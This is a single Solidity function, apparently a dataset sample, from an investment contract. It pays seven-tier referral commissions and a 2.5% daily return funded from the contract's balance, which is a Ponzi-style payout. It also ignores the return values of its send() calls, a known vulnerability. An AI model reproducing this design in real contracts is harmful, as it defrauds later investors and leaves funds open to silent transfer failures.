func: function investedbuy(address _owner)public payable  {
          require(msg.sender != _owner); 
          amountren++;
          investeds = investeds.add(msg.value);
          users[msg.sender].affadd = _owner;
          
          users[owner].pot = users[owner].pot + (msg.value * commission / 100);
          address a = users[msg.sender].affadd;
           
          for(uint256 i = 0; i < 7; i++){
              if(i == 0 && a != address(0)){
                  a.send(msg.value * 8 / 100 );
                  users[a].yongjin = users[a].yongjin.add(msg.value * 8 / 100 ); 
              }
                      
              if(i == 1 && a != address(0)){
                  a.send(msg.value * 5 / 100 );
                  users[a].yongjin = users[a].yongjin.add(msg.value * 5 / 100 ); 
              }
                       
              if(i == 2  && a != address(0)){
                  a.send(msg.value * 3 / 100 ); 
                  users[a].yongjin = users[a].yongjin.add(msg.value * 3 / 100 ); 
              }
                      
              if(i > 2  &&  a != address(0)){
                  a.send(msg.value * 1 / 100 );
                  users[a].yongjin = users[a].yongjin.add(msg.value * 1 / 100 ); 
              }
               a = users[a].affadd;           
          } 
          users[msg.sender].touzizongshu = msg.value.add(users[msg.sender].touzizongshu);
           
          if (users[msg.sender].invested != 0) {
              
              
              
              uint256 amount = users[msg.sender].invested * 25 / 1000 * (now - users[msg.sender].atblock) / 86400;
  
              
              if(this.balance < amount ){
                  amount = this.balance;
              }
              address sender = msg.sender;
              sender.send(amount);
              users[msg.sender].tixianzongshu = amount.add(users[msg.sender].tixianzongshu); 
          }
          users[msg.sender].atblock = now;
          users[msg.sender].invested += msg.value;
       
      }